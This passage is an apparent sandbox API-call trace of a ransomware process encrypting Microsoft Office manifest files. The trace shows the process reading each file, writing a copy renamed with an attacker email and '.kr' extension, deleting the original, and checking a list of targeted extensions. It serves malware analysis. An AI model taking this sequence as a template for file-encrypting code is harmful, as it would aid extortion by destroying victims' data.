dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.686] GetLastError () returned 0x0 [0101.686] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xfdea, lpOverlapped=0x0) returned 1 [0101.688] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0101.690] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0101.690] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.692] SetEndOfFile (hFile=0x370) returned 1 [0101.692] CloseHandle (hObject=0x370) returned 1 [0101.695] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.695] SetEndOfFile (hFile=0x388) returned 1 [0101.696] CloseHandle (hObject=0x388) returned 1 [0101.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0101.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.697] lstrlenW (lpString=".doc") returned 4 [0101.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.697] lstrlenW (lpString=".docx") returned 5 [0101.697] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.697] lstrlenW (lpString=".pdf") returned 4 [0101.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.697] lstrlenW (lpString=".xls") returned 4 [0101.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.697] lstrlenW (lpString=".xlsx") returned 5 [0101.697] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.697] lstrlenW (lpString=".ppt") returned 4 [0101.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.697] lstrlenW (lpString=".zip") returned 4 [0101.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.697] lstrlenW (lpString=".rar") returned 4 [0101.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.697] lstrlenW (lpString=".bz2") returned 4 [0101.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.697] lstrlenW (lpString=".7z") returned 3 [0101.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.698] lstrlenW (lpString=".dbf") returned 4 [0101.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.698] lstrlenW (lpString=".1cd") returned 4 [0101.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.698] lstrlenW (lpString=".jpg") returned 4 [0101.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.698] lstrlenW (lpString=".doc") returned 4 [0101.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString=".docx") returned 5 [0101.698] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.698] lstrlenW (lpString=".pdf") returned 4 [0101.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString=".xls") returned 4 [0101.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString=".xlsx") returned 5 [0101.698] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.698] lstrlenW (lpString=".ppt") returned 4 [0101.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.698] lstrlenW (lpString=".zip") returned 4 [0101.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.698] lstrlenW (lpString=".rar") returned 4 [0101.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.699] lstrlenW (lpString=".bz2") returned 4 [0101.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.699] lstrlenW (lpString=".7z") returned 3 [0101.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.699] lstrlenW (lpString=".dbf") returned 4 [0101.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.699] lstrlenW (lpString=".1cd") returned 4 [0101.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0101.699] lstrlenW (lpString=".jpg") returned 4 [0101.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.699] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.699] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0101.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.700] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1261) returned 1 [0101.700] CloseHandle (hObject=0x388) returned 1 [0101.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.700] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.700] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.701] GetLastError () returned 0x0 [0101.701] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0101.702] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0101.703] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0101.703] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.703] SetEndOfFile (hFile=0x370) returned 1 [0101.703] CloseHandle (hObject=0x370) returned 1 [0101.704] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.704] SetEndOfFile (hFile=0x388) returned 1 [0101.705] CloseHandle (hObject=0x388) returned 1 [0101.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0101.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.706] lstrlenW (lpString=".doc") returned 4 [0101.706] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.706] lstrlenW (lpString=".docx") returned 5 [0101.706] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.706] lstrlenW (lpString=".pdf") returned 4 [0101.706] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.706] lstrlenW (lpString=".xls") returned 4 [0101.706] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.706] lstrlenW (lpString=".xlsx") returned 5 [0101.706] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.706] lstrlenW (lpString=".ppt") returned 4 [0101.706] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.706] lstrlenW (lpString=".zip") returned 4 [0101.707] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.707] lstrlenW (lpString=".rar") returned 4 [0101.707] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString=".bz2") returned 4 [0101.707] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString=".7z") returned 3 [0101.707] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.707] lstrlenW (lpString=".dbf") returned 4 [0101.707] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.707] lstrlenW (lpString=".1cd") returned 4 [0101.707] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.707] lstrlenW (lpString=".jpg") returned 4 [0101.707] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.707] lstrlenW (lpString=".doc") returned 4 [0101.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString=".docx") returned 5 [0101.707] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.707] lstrlenW (lpString=".pdf") returned 4 [0101.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString=".xls") returned 4 [0101.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.707] lstrlenW (lpString=".xlsx") returned 5 [0101.707] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.708] lstrlenW (lpString=".ppt") returned 4 [0101.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.708] lstrlenW (lpString=".zip") returned 4 [0101.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.708] lstrlenW (lpString=".rar") returned 4 [0101.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.708] lstrlenW (lpString=".bz2") returned 4 [0101.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.708] lstrlenW (lpString=".7z") returned 3 [0101.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.708] lstrlenW (lpString=".dbf") returned 4 [0101.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.708] lstrlenW (lpString=".1cd") returned 4 [0101.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0101.708] lstrlenW (lpString=".jpg") returned 4 [0101.708] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.708] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.708] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0101.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.709] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1261) returned 1 [0101.709] CloseHandle (hObject=0x388) returned 1 [0101.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.710] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.710] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.710] GetLastError () returned 0x0 [0101.710] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0101.712] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0101.713] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0101.713] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.713] SetEndOfFile (hFile=0x370) returned 1 [0101.713] CloseHandle (hObject=0x370) returned 1 [0101.714] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.714] SetEndOfFile (hFile=0x388) returned 1 [0101.715] CloseHandle (hObject=0x388) returned 1 [0101.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0101.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.715] lstrlenW (lpString=".doc") returned 4 [0101.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString=".docx") returned 5 [0101.716] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.716] lstrlenW (lpString=".pdf") returned 4 [0101.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString=".xls") returned 4 [0101.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString=".xlsx") returned 5 [0101.716] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.716] lstrlenW (lpString=".ppt") returned 4 [0101.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.716] lstrlenW (lpString=".zip") returned 4 [0101.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.716] lstrlenW (lpString=".rar") returned 4 [0101.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString=".bz2") returned 4 [0101.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString=".7z") returned 3 [0101.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.716] lstrlenW (lpString=".dbf") returned 4 [0101.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.716] lstrlenW (lpString=".1cd") returned 4 [0101.716] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.716] lstrlenW (lpString=".jpg") returned 4 [0101.716] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.717] lstrlenW (lpString=".doc") returned 4 [0101.717] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString=".docx") returned 5 [0101.717] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.717] lstrlenW (lpString=".pdf") returned 4 [0101.717] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString=".xls") returned 4 [0101.717] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString=".xlsx") returned 5 [0101.717] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.717] lstrlenW (lpString=".ppt") returned 4 [0101.717] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.717] lstrlenW (lpString=".zip") returned 4 [0101.717] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.717] lstrlenW (lpString=".rar") returned 4 [0101.717] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString=".bz2") returned 4 [0101.717] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString=".7z") returned 3 [0101.717] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.717] lstrlenW (lpString=".dbf") returned 4 [0101.717] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.717] lstrlenW (lpString=".1cd") returned 4 [0101.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0101.717] lstrlenW (lpString=".jpg") returned 4 [0101.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.718] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.718] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0101.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.718] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=9216) returned 1 [0101.718] CloseHandle 